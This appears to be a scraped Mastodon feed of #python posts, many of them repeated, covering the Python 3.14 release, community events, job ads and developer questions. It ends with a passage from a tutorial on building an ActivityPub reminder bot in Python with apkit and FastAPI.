
Linuxiac
@linuxiac@mastodon.social
Python 3.14 introduces free-threaded mode, t-strings, and a new debugger interface, bringing major speed and usability improvements.
https://linuxiac.com/python-3-14-released-with-free-threaded-mode/
@linuxiac@mastodon.social
Python 3.14 introduces free-threaded mode, t-strings, and a new debugger interface, bringing major speed and usability improvements.
https://linuxiac.com/python-3-14-released-with-free-threaded-mode/
@pythonbrasil@pynews.com.br
Tutorial
Começando com FastAPI: construa sua primeira API em Python - Felipe de Morais
Aprenda a criar sua primeira API com FastAPI! Neste tutorial para iniciantes, você vai construir uma API REST do zero usando Python de forma prática e descomplicada.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🚀 It's out!
🥧 Please install and enjoy Python 3.14!
https://discuss.python.org/t/python-3-14-0-final-is-here/104210?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🚀 It's out!
🥧 Please install and enjoy Python 3.14!
https://discuss.python.org/t/python-3-14-0-final-is-here/104210?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🚀 It's out!
🥧 Please install and enjoy Python 3.14!
https://discuss.python.org/t/python-3-14-0-final-is-here/104210?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🚀 It's out!
🥧 Please install and enjoy Python 3.14!
https://discuss.python.org/t/python-3-14-0-final-is-here/104210?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🚀 It's out!
🥧 Please install and enjoy Python 3.14!
https://discuss.python.org/t/python-3-14-0-final-is-here/104210?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🚀 It's out!
🥧 Please install and enjoy Python 3.14!
https://discuss.python.org/t/python-3-14-0-final-is-here/104210?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
macOS installer done, next on the final publishing and announcing steps.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
The Windows build is ready and macOS is underway.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
The Windows build has been started.
The jobs with profile-guided optimisation (PGO) build once, then collect a profile by running the tests, and then build again using that profile, to see how "real" code executes and optimises for that.
https://dev.azure.com/Python/cpython/_build/results?buildId=164907&view=results
Meanwhile, the docs+source+Android build has finished and the artifacts have been copied to where they need to go with SBOMs created.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
(That's actually the second CI attempt, we had to update some script arguments following an Android test runner update.)
This build takes about half an hour.
I've also informed the Windows and macOS release managers about the tag and they will start up installer builds.
This takes a few hours, so I've got time to finish up the release notes.
PEP 101 is the full process, but much is automated and we don't need to follow it all manually.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Next up, merge and backport the final change to What's New in Python 3.14 to declare it latest stable.
https://github.com/python/cpython/pull/139631
Now start run_release.py, the main release automation script, which does a bunch of pre-checks, runs blurb to create a merged changelog, bumps some numbers, and pushes a branch and tag to my fork. It'll go upstream at the end of a successful build.
Then kick off the CI to build source zips, docs and Android binaries.
https://github.com/python/release-tools/actions/runs/18308460797
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Release day!
First off, check blockers and buildbots.
A new release-blocker appeared yesterday (because of course) but it can wait until 3.14.1.
https://github.com/python/cpython/labels/release-blocker
Three deferred-blockers are also waiting until 3.14.1.
https://github.com/python/cpython/labels/deferred-blocker
A new tier-2 buildbot failure appeared yesterday (because of course) but it had previously been offline for a month and will need some reconfiguration. Can ignore.
https://buildbot.python.org/#/release_status
OK, let's make a Python!
@diazona@techhub.social · Reply to Christopher Neugebauer's post
@chrisjrn.fyi Interesting proposal they're making there.
I've been tinkering with the AI-assisted autocompletion in #PyCharm recently - only on open source projects so no concerns about code privacy - and it's been slightly helpful but overall a very mixed bag. It'll be interesting to see if it gets better as they collect more data.
@mkennedy@fosstodon.org
Very excited to announce the release of my first solo book:
Talk Python in Production: A Cloud-Agnostic Guide to Building, Scaling, and Managing Your Own #Python Infrastructure
https://talkpython.fm/books/python-in-production
Read about how @talkpython is built and operated!
@mkennedy@fosstodon.org
Very excited to announce the release of my first solo book:
Talk Python in Production: A Cloud-Agnostic Guide to Building, Scaling, and Managing Your Own #Python Infrastructure
https://talkpython.fm/books/python-in-production
Read about how @talkpython is built and operated!
@hynek@mastodon.social
I’m somewhat exhausted to announce attrs 25.4.0!
The main reason for this release (and why it's published today) is that it ships the first pieces of work for Python 3.14 and PEP 749. There will be more work required and there's going to be a lot more churn once everyone starts testing 3.14 earnestly. We hope to receive more feedback before spending more time on this. #Python
@char@ioc.exchange
Please; which Python code style guide do you recommend me to follow?
@yossarian@infosec.exchange
TIL: Safari has built-in WebDriver support
https://yossarian.net/til/post/safari-has-built-in-webdriver-support/
@yossarian@infosec.exchange
TIL: Safari has built-in WebDriver support
https://yossarian.net/til/post/safari-has-built-in-webdriver-support/
@diazona@techhub.social · Reply to WildRikku's post
@wildrikku @mark Wait there's *another* requests library? 😵💫 I'm talking about this one: https://pypi.org/project/requests/
I'd add that I think one of the emerging strengths of Python is how easy it makes it to use dependencies, especially with inline script metadata (https://packaging.python.org/en/latest/specifications/inline-script-metadata/). So the reasons to avoid dependencies are getting less and less relevant, and people who dogmatically insist on avoiding dependencies without a good reason - not saying that's you, but those people are out there - appear increasingly out of touch with modern best practices.
That being said, I still think it'd be a big improvement if the Python stdlib included better-designed URL handling modules, but realistically, I don't think that's going to happen. It's just that, because of the rich third-party library ecosystem, that's not as big of a problem as it would otherwise be.
@pythonbrasil@pynews.com.br
Tutorial
Começando com FastAPI: construa sua primeira API em Python - Felipe de Morais
Aprenda a criar sua primeira API com FastAPI! Neste tutorial para iniciantes, você vai construir uma API REST do zero usando Python de forma prática e descomplicada.
@diazona@techhub.social · Reply to WildRikku's post
@wildrikku To be fair, the URL handling is a particularly poorly structured portion of the #Python standard library. (Partly because the documentation for `HTTPResponse` lives at a very non-obvious place, https://docs.python.org/3/library/http.client.html#httpresponse-objects)
Most people just use external libraries like `requests` or `httpx`, which are much easier to use than the standard library's `urllib`; I would recommend that.
@wildrikku@mastodon.gamedev.place
I'm still not having a great time with #Python. Seemingly simple things require poking around and searching on StackOverflow to an extent C# and PHP avoid by having better docs. I recently made a parser with BeautifulSoup. Now I wanted to extent the code to make another parser but this time the response is JSON, not HTML. It took me like 15 min to figure out which method I need because urlopen() returns Any so my IDE can't help and HTTPRequest, which is what it really returns, is undocumented.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
And back to green!
#Python #Python314
@pythonbrasil@pynews.com.br
Temos a honra de apresentar nosso keynote, Robert Silva!
Robert é DevOps Engineer no Santander, com mais de 10 anos de experiência em TI como consultor e arquiteto de soluções. Especialista em Kubernetes (CKA e CKAD) e automação, é apaixonado por compartilhar conhecimento e inspirar profissionais na transição para DevOps.
@pythonbrasil@pynews.com.br
Temos a honra de apresentar nosso keynote, Robert Silva!
Robert é DevOps Engineer no Santander, com mais de 10 anos de experiência em TI como consultor e arquiteto de soluções. Especialista em Kubernetes (CKA e CKAD) e automação, é apaixonado por compartilhar conhecimento e inspirar profissionais na transição para DevOps.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Three days until release and a bug in the Linux kernel has turned a dozen buildbots red...
It's already been fixed in the kernel, but will take some time to bubble up. We'll skip that test for relevant kernel versions in the meantime.
https://buildbot.python.org/#/release_status
#Python #Python314
@grayfinger@mastodon.social
I spent the day making a python code that generates random weird pharmaceutical names. Life is short, spend your time wisely.
@grayfinger@mastodon.social
I spent the day making a python code that generates random weird pharmaceutical names. Life is short, spend your time wisely.
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@villares@ciberlandia.pt
Sábados de manhã em outubro e novembro no #SescAvPaulista: Grupo de estudos em #Python
https://www.sescsp.org.br/programacao/grupo-de-estudos-em-python-primeiros-passos/
@villares@ciberlandia.pt
Sábados de manhã em outubro e novembro no #SescAvPaulista: Grupo de estudos em #Python
https://www.sescsp.org.br/programacao/grupo-de-estudos-em-python-primeiros-passos/
@Yhg1s@social.coop
Let me post a *non*-subtoot for once... We made a thing!
https://discuss.python.org/t/pep-810-explicit-lazy-imports/104131
@Yhg1s@social.coop
Let me post a *non*-subtoot for once... We made a thing!
https://discuss.python.org/t/pep-810-explicit-lazy-imports/104131
@villares@ciberlandia.pt
@villares@ciberlandia.pt
@dalke@toots.nu
Can anyone tell me why #python random.sample() *requires* deriving from collections.abc.Sequence?
if not isinstance(population, _Sequence):
raise TypeError("Population must be a sequence. "
"For dicts or sets, use sorted(d).")
I want to sample from a third-party package's list-like collection. It has a working __len__, __getitem__, and __iter__, which is all sample() needs. But it can't be sampled as it doesn't inherit from Sequence.
Given Python's usual ducktyping, this feels wrong.
@dalke@toots.nu
Can anyone tell me why #python random.sample() *requires* deriving from collections.abc.Sequence?
if not isinstance(population, _Sequence):
raise TypeError("Population must be a sequence. "
"For dicts or sets, use sorted(d).")
I want to sample from a third-party package's list-like collection. It has a working __len__, __getitem__, and __iter__, which is all sample() needs. But it can't be sampled as it doesn't inherit from Sequence.
Given Python's usual ducktyping, this feels wrong.
@tehstu@hachyderm.io
I don't want to use anything Microsoft or Microsoft-adjacent for authoring Python. I *had* been using PyCharm Community Edition, because that tends to be the preferred IDE at work. However, with JetBrains now making us opt-out of something AI related (I don't even care what the details are), I want to use something else.
Zed looking interesting, but it's AI front and center.
At this rate I'll end up on Thorny or something. But seriously, what simple IDE are people using these days?
@pythonbrasil@pynews.com.br
Se você perdeu as inscrições para tutoriais, essa é a sua segunda chance <3
Abriremos vagas remanescentes para tutoriais dia 05 de outubro, às 8h da manhã, horário de Brasília! Não perca!
Spoilers: dia 22 abrimos 400 vagas, e elas acabaram em menos de 48h, recomendamos fortemente acordar cedo para garantir seu lugar 🐍 🔥
@pythonbrasil@pynews.com.br
Se você perdeu as inscrições para tutoriais, essa é a sua segunda chance <3
Abriremos vagas remanescentes para tutoriais dia 05 de outubro, às 8h da manhã, horário de Brasília! Não perca!
Spoilers: dia 22 abrimos 400 vagas, e elas acabaram em menos de 48h, recomendamos fortemente acordar cedo para garantir seu lugar 🐍 🔥
@pythonbrasil@pynews.com.br
The Python Software Foundation is the organization behind the open source Python programming language. We are devoted to creating the conditions for Python and the Python community to grow and thrive.
@pythonbrasil@pynews.com.br
The Python Software Foundation is the organization behind the open source Python programming language. We are devoted to creating the conditions for Python and the Python community to grow and thrive.
@pythonbrasil@pynews.com.br
Pythonic Café é uma civictech dedicada a utilizar software livre e dados abertos para gerar impacto social positivo, tornando o planeta um lugar mais sustentável.
Sua missão é tornar informações públicas mais acessíveis e compreensíveis, promovendo transparência e participação cidadã.
@pythonbrasil@pynews.com.br
Pythonic Café é uma civictech dedicada a utilizar software livre e dados abertos para gerar impacto social positivo, tornando o planeta um lugar mais sustentável.
Sua missão é tornar informações públicas mais acessíveis e compreensíveis, promovendo transparência e participação cidadã.
@felixxm@fosstodon.org
Today is my last day at work. Tomorrow I am available to start with your team! 📢 If you're looking for a #Python / #Django veteran 🧭, who spent 5 years as a Django Fellow, maintaining Django itself, and who is a Django 💚 and Python 🐍 contributor. I'm here 👋 Contact me 📬 #opentowork
@hugovk@mastodon.social
Only one week left until the release of Python 3.14.0 final!
https://docs.python.org/3.14/whatsnew/3.14.html
https://peps.python.org/pep-0745/
What are you looking forward to?
@felixxm@fosstodon.org
Today is my last day at work. Tomorrow I am available to start with your team! 📢 If you're looking for a #Python / #Django veteran 🧭, who spent 5 years as a Django Fellow, maintaining Django itself, and who is a Django 💚 and Python 🐍 contributor. I'm here 👋 Contact me 📬 #opentowork
@villares@ciberlandia.pt
Amanhã no #SescAvPaulista rola o último encontro do semestre do Grupo de Estudos em #Python (https://hackmd.io/@sesc-av-paulista/estudos-em-python), se quiser participar é só chegar 14h para pegar uma senha grátis. A atividade é das 14h30 às 16h30.
Em outubro vou dar este curso quintas à tarde com 4 encontros:
https://www.sescsp.org.br/programacao/ilustracoes-vetoriais-para-grandes-formatos-com-programacao/
@villares@ciberlandia.pt
Amanhã no #SescAvPaulista rola o último encontro do semestre do Grupo de Estudos em #Python (https://hackmd.io/@sesc-av-paulista/estudos-em-python), se quiser participar é só chegar 14h para pegar uma senha grátis. A atividade é das 14h30 às 16h30.
Em outubro vou dar este curso quintas à tarde com 4 encontros:
https://www.sescsp.org.br/programacao/ilustracoes-vetoriais-para-grandes-formatos-com-programacao/
@sandmouth@types.pl
[New Blog Post] Proving the Infinitude of Primes in Knuckledragger #python #logic https://www.philipzucker.com/knuckle_primes/
@ptmcg@fosstodon.org
The upcoming 3.3.0 release of pyparsing will include AI instructions for best practices when using this package. They can be accessed from the command-line using `python -m pyparsing.ai.show_best_practices` (They work for human developers too.) #python #pyparsing #ai
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@sandmouth@types.pl
[New Blog Post] Proving the Infinitude of Primes in Knuckledragger #python #logic https://www.philipzucker.com/knuckle_primes/
@diazona@techhub.social · Reply to Glyph's post
@purple_myna@mastodon.social
Hii alle, ich bin #neuhier
Ich bin ein #Enby in Ausbildung, versuche hier herauszufinden wie es für mich ist #nonbinary zu sein, im echten Leben (noch!) zu schüchtern dafür.
Ich promoviere aktuell in theoretischer #Physik, irgendwas zwischen Gravitation und Quantenmagie. Diskutiere immer gerne!
Programmiere schon mein halbes Leben, Hauptsächlich Mathe Stuff. Sprache der Wahl ist #python.
Was Du von mir erwarten kannst: Enby Struggles, Physik Nerd Stuff, FOSS Nerd Stuff, was mir gerade einfällt
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@diazona@techhub.social · Reply to Helge's post
@helge I don't think there's a formal reporting mechanism for this. Since PyPI doesn't do anything special when a package is abandoned, there wouldn't be any point.
If a project being abandoned is causing some sort of particularly dangerous situation, I suppose one could contact the PyPI admins and ask them to do something about it manually. No guarantee on whether they would or not though 🤷 I think they typically take a hands-off approach by default.
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@glyph@mastodon.social
yak stack threat level: "maybe I should write my *own* version of tox?" #python
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@villares@ciberlandia.pt
Atenção atenção!
Vocês sabem que é possível ler de graça a versão em português do Python Fluente do Luciano Ramalho, não é mesmo?
(https://pythonfluente.com)
Agora, se você sonhava com uma edição em papel, ajude o @lr a fazer ela acontecer contribuindo no:
@villares@ciberlandia.pt
Atenção atenção!
Vocês sabem que é possível ler de graça a versão em português do Python Fluente do Luciano Ramalho, não é mesmo?
(https://pythonfluente.com)
Agora, se você sonhava com uma edição em papel, ajude o @lr a fazer ela acontecer contribuindo no:
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@frenck@fosstodon.org
Ever wanted to work on open source full-time? Come join me at the @openhomefoundation; we’ve got 5 new roles on @homeassistant.
👩💼 Program Manager
🐍 Python Engineers
✍️ Technical Writers
🌍 Remote. Open source, every day.
Links in replies 👇
#HomeAssistant #OpenSource #Jobs #OpenSource #Hiring #Python #TechWriters
@purple_myna@mastodon.social
Hii alle, ich bin #neuhier
Ich bin ein #Enby in Ausbildung, versuche hier herauszufinden wie es für mich ist #nonbinary zu sein, im echten Leben (noch!) zu schüchtern dafür.
Ich promoviere aktuell in theoretischer #Physik, irgendwas zwischen Gravitation und Quantenmagie. Diskutiere immer gerne!
Programmiere schon mein halbes Leben, Hauptsächlich Mathe Stuff. Sprache der Wahl ist #python.
Was Du von mir erwarten kannst: Enby Struggles, Physik Nerd Stuff, FOSS Nerd Stuff, was mir gerade einfällt
@purple_myna@mastodon.social
Hii everyone, time for an #introduction
I'm a trainee #enby from Germany, trying to find out how being #nonbinary works for me here, since I'm too shy to try this out in real life (yet!).
I currently do my PhD in theoretical #physics, sth in between gravity and quantum fuckery. Happy to discuss any time!
Also developing for half my life, mostly math stuff. Language of choice is #python.
What you can expect from me: enby struggles, physics nerd stuff, FOSS nerd stuff, whatever comes to my mind
@villares@ciberlandia.pt
#Python is for artists too!
I made some #Python #numpy, #shapely, #trimesh & #py5 stickers!
PS: I asked the PSF to check if the logos were alright: "you can change the colors and add elements inside, but not change the shape or position of the snakes". So I had to change my original Python Reading Club logo...
@villares@ciberlandia.pt
#Python is for artists too!
I made some #Python #numpy, #shapely, #trimesh & #py5 stickers!
PS: I asked the PSF to check if the logos were alright: "you can change the colors and add elements inside, but not change the shape or position of the snakes". So I had to change my original Python Reading Club logo...
@inautilo@mastodon.social
#Development #Experiences
Migrating from GitHub to Codeberg · How everything turned out as intended https://ilo.im/166wm0
_____
#Migration #Repositories #Codeberg #GitHub #Python #Django #WebDev #Frontend #Backend
@phildini@wandering.shop
All I want right now is:
- a standalone executable for cookiecutter
- that runs on a Mac
- and does not care if I have any version of #python installed
This appears to be impossible
@phildini@wandering.shop
All I want right now is:
- a standalone executable for cookiecutter
- that runs on a Mac
- and does not care if I have any version of #python installed
This appears to be impossible
@sophie@chaos.social
How do venvs actually work? The python "binary" inside a venv is just a symlink to the system wide python. The activate script effectively sets VIRTUAL_ENV and prepends PATH. So why can't I have the same effects by just setting those two environment variable manually? Why can't modules of packages installed inside the venv be found by gunicorn when setting both env variables in a systemd unit and starting gunicorn that was installed by apt?
#python #ubuntu #gunicorn
@pythonbrasil@pynews.com.br
Temos a honra de apresentar nossa keynote, Simara Nascimento!
Apaixonada por inovação, educação e arquitetura de sistemas. Ajudando a reduzir a lacuna de gênero e raça no mercado de tecnologia atuando em projetos educacionais e de conteúdo como Pretalab e Quero Ser Dev.
@pythonbrasil@pynews.com.br
Temos a honra de apresentar nossa keynote, Simara Nascimento!
Apaixonada por inovação, educação e arquitetura de sistemas. Ajudando a reduzir a lacuna de gênero e raça no mercado de tecnologia atuando em projetos educacionais e de conteúdo como Pretalab e Quero Ser Dev.
@pythonbrasil@pynews.com.br
Pydantic. Know more. Build faster.
The Pydantic platform gives devs visibility to stay in flow, from local to prod, from AI to API.
Ship robust apps faster, in Python, TypeScript, Rust and others.
@pythonbrasil@pynews.com.br
Pydantic. Know more. Build faster.
The Pydantic platform gives devs visibility to stay in flow, from local to prod, from AI to API.
Ship robust apps faster, in Python, TypeScript, Rust and others.
@HongPong@mastodon.social · Reply to HongPong's post
The ice scraper program is evolving quickly thanks to volunteer excellence. it includes more than 190 facilities and expanding highly detailed detainee data. the scraper- the code #python => https://github.com/Open-Security-Mapping-Project/ice_detention_scraper #ice #dhs #homelandsecurity
@HongPong@mastodon.social · Reply to HongPong's post
The ice scraper program is evolving quickly thanks to volunteer excellence. it includes more than 190 facilities and expanding highly detailed detainee data. the scraper- the code #python => https://github.com/Open-Security-Mapping-Project/ice_detention_scraper #ice #dhs #homelandsecurity
@notimetoplay@elekk.xyz
@cazabon@mindly.social · Reply to Ryan's post
When people have pushed that around me, I show them the Zen of Python. It's important enough that it's the climactic line.
> Namespaces are one honking great idea -- let's do more of those!
`from x import y` throws one of Python's greatest features in the trash, and mashes everything into a single namespace, with all the opportunities for collisions, accidental overwrites, thinkos, and other problems.
Don't do it.
@mistersql@mastodon.social
Forget rewriting all the CLI commands in rust, let's rewrite them in #python
- partially done from a quick search of pypi
- would make bandit happy (bandit hates subprocess)
- screaming, blazing, lightspeed fast*
* compared to *pure *bash
@willmcgugan@mastodon.social
@willmcgugan@mastodon.social
@halcy@icosahedron.website
Mastodon.py 2.1.4, with some fixes from @thcrt to type annotations, and for login on instances where .well-known 404s are not real 404s (observed on at least one Akkoma instance)
Thank you for the contributions! <3
@ology@fosstodon.org
Ok. I've fixed up the #Python #Music arpeggiation and am testing it with https://github.com/ology/Music/blob/master/arpeggiate.py
Here is the transcription of the zany whole-tone wackiness:
1/2
@mr_daemon@untrusted.website
Note to self: don't use naive datetimes in Python, just don't. It's so low effort to use UTC internally and you won't have to wonder "WAIT what happens to any of my time deltas when DST kicks in?" at 1am
@pythonbrasil@pynews.com.br
Estão abertas as inscrições gratuitas para os tutoriais da Python Brasil 2025!
Tutoriais são minicursos práticos onde você aprenderá conteúdos incríveis com pessoas da comunidade!
As vagas são limitadas, corra reservar a sua 🐍 🔥
https://pybr2025.eventbrite.com.br/
@pythonbrasil@pynews.com.br
Estão abertas as inscrições gratuitas para os tutoriais da Python Brasil 2025!
Tutoriais são minicursos práticos onde você aprenderá conteúdos incríveis com pessoas da comunidade!
As vagas são limitadas, corra reservar a sua 🐍 🔥
https://pybr2025.eventbrite.com.br/
@dsilverz@calckey.world
#NPM from #Node.js ended up in the hands of Microsoft.
#RubyGems from #Ruby ended up in the hands of a nazi libertarian.
It feels like #OSS and #FOSS are being attacked on a daily basis.
Do anyone have information regarding #PyPi from #Python, is it also compromised? As far as I know, PyPi stopped working with pip search
("Use the browser") and the website needs JS to function (because it uses some PoW browser checking), so using Lynx or elinks as a sysadmin on a terminal-only machine in order to search for Python packages have been a no-no. Wonder how much it's due to similar phenomenon going on with Ruby and Node.js ecosystems.
@danzin@mastodon.social
I was added to the Python GitHub organization as a triager a couple of weeks ago. Feels so good, and makes me want to help even more!
I was a CPython triager (had the Developer role in bugs.python.org) back in 2009: https://mail.python.org/archives/list/python-committers@python.org/thread/6XTQCPDP6TPVGAHUMMFEAEZRDXY5MJFJ/#6XTQCPDP6TPVGAHUMMFEAEZRDXY5MJFJ
Triaging CPython issues now is very different: there's a very active and attentive triage team, the number of issues has grown, we use GitHub instead of RoundUp etc.
Hit me up if you're a CPython developer and want your issues triaged.
@villares@ciberlandia.pt
@nedbat@hachyderm.io
People gripe in public about the churn and confusion in #Python packaging. We should talk more about the helpful people who can help you machete your way through the thicket. They are the best.
https://github.com/nedbat/cog/pull/57
@nedbat@hachyderm.io
People gripe in public about the churn and confusion in #Python packaging. We should talk more about the helpful people who can help you machete your way through the thicket. They are the best.
https://github.com/nedbat/cog/pull/57
@villares@ciberlandia.pt
@youranonriots@kolektiva.social
Two fake Python packages just dropped a powerful RAT on Windows.
“sisaws” & “secmeasure” secretly install SilentSync — capable of stealing browser passwords, files, and screenshots. #Python #CyberSecurity #InfoSec
https://thehackernews.com/2025/09/silentsync-rat-delivered-via-two.html
@scy@chaos.social · Reply to scy's post
Das ist übrigens ne gute Gelegenheit, mal wieder #Python zu loben. Weil es nämlich nicht einfach implizit Dinge annimmt, nur um dir zu erlauben, dir bequem in den Fuß zu schießen.
"Du möchtest ein datetime _mit_ Zeitzoneninformation subtrahieren von einem _ohne_? Nein. Darfst du nicht. Du sagst mir bitte ganz genau, wie ich die beiden konvertieren soll, damit sie kompatibel zueinander sind."
Das gleiche gilt auch für "str" vs. "bytes".
@julian@fietkau.social
I want to write a program to extract a list of clickable links from a PDF page.
#pypdf can list the link positions/sizes and target URLs. But in a PDF document, links are annotations, which are separate data from the document text.
To get the display text of a clickable link in a PDF, is the easiest way to convert the full page to PNG, crop it to the link's bounding box, and run that through OCR? Or am I missing something more reasonable?
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🐍🏃➡️🏃➡️ #Python #CoreSprint day 2!
@trallard gave a presentation about the different types of mentorship and how we can improve in CPython, followed by discussion
@gpshead gave demo on tools like Claude
Tania, @jezdez, @willingc and I discussed about the User Success WG and we came up with some ideas on next steps
We ended the day with punting on the Cam and dinner at Jesus College, thank you, Arm!
@Yhg1s gave a fun session of his Feuding Pythonistas (spoiler: people are wrong on the internet)
@villares@ciberlandia.pt
You can still help sponsor the Brazilian national #Python conference!
You can also donate a ticket so that a student can attend!
#PythonBrasil2025
@athousandcateaus@tiggi.es
I am working on a binary tree class for one of my algorithms class. I have gone a little off the rails and implemented generators for the different tree traversal techniques.
One thing I don't like though is all the redundancy. All of these generators are essentially the same but just the order in which nodes and trees are evaluated is changed. Is there anyway to simplify the code or reduce the redundancy?
@villares@ciberlandia.pt
You can still help sponsor the Brazilian national #Python conference!
You can also donate a ticket so that a student can attend!
#PythonBrasil2025
@chrisjrn@social.coop
@chrisjrn@social.coop
@hugovk@mastodon.social
🐍🏃➡️ We kicked off the first day of the #Python #CoreSprint at #Arm in #Cambridge with lots of talks and lots of discussion about talks!
Ken Jin - Building a JIT Community AND Demo [effect] of new C API
@antocuni - Tracing JITs on real code
@brettcannon - WASI update AND precompiled binaries from python.org
Hood Chatham - Upstreaming Pyodide FFI
@freakboy3742 - Managing cross-platform wheel builds
Steering Council - PEP 793 and abi3/abi3t/abi4
Matthew Parkinson - Designing Deep Immutability
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
